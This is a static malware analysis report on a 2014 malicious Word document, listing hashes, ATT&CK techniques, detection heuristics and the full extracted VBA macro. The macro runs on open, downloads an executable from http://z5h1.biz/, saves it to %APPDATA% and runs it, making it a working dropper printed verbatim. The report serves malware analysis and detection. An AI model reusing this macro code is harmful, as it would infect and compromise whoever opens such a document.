Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f98e0ed86e89afe3…

MALICIOUS

Office (OLE)

28.0 KB Created: 2014-11-03 16:56:00 Authoring application: Microsoft Office Word First seen: 2014-12-09
MD5: 314b509f6770c9a571f18ae12ea1054e SHA-1: aae9e843c9c7007392cc2c943b9e2eb6063157bb SHA-256: f98e0ed86e89afe3ab0e5bc91be49f2ae1fce601469abe29a47b84294d494170
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro within the document is configured to execute automatically via the AutoOpen subroutine. It utilizes CreateObject to instantiate an XMLHTTP object, which then downloads a file from http://z5h1.biz/. The downloaded content is saved to disk as %APPDATA%/presentation[de].exe and subsequently executed using the Shell function. This indicates a downloader pattern designed to fetch and run a second-stage payload.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell PresentationName, vbNormalNoFocus
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    X = NewObj.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set NewObj = CreateObject("Msxml2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    PresentationName = Environ(EnvVar) & "/presentation[de].exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://z5h1.biz/� Referenced by macro
    • http://z5h1.biz/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1148 bytes
SHA-256: bfad3f22a8ba049b62ca41655c93d023e1cd3c446eb23688360be978de702122
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Help()
Start
End Sub

Sub AutoOpen()
Help
End Sub

Sub Start()

Const PositionBegin As Integer = 0
Const EnvVar As String = "APPDATA"
Const UserAg As String = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"

Set NewObj = CreateObject("Msxml2.XMLHTTP")
NewObj.Open "POST", "http://z5h1.biz/", False
NewObj.setRequestHeader "User-Agent", UserAg
NewObj.setRequestHeader "Referer", "google.de"

NewObj.send

Dim X
X = NewObj.responseBody

Set Stream = CreateObject("Adodb.Stream")
Stream.Open
Stream.Type = 0 + 1
Stream.Write X
Position = PositionBegin


Dim Appdata As String
Dim PresentationName As String

PresentationName = Environ(EnvVar) & "/presentation[de].exe"


Stream.SaveToFile PresentationName, 1 + 1

Shell PresentationName, vbNormalNoFocus
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.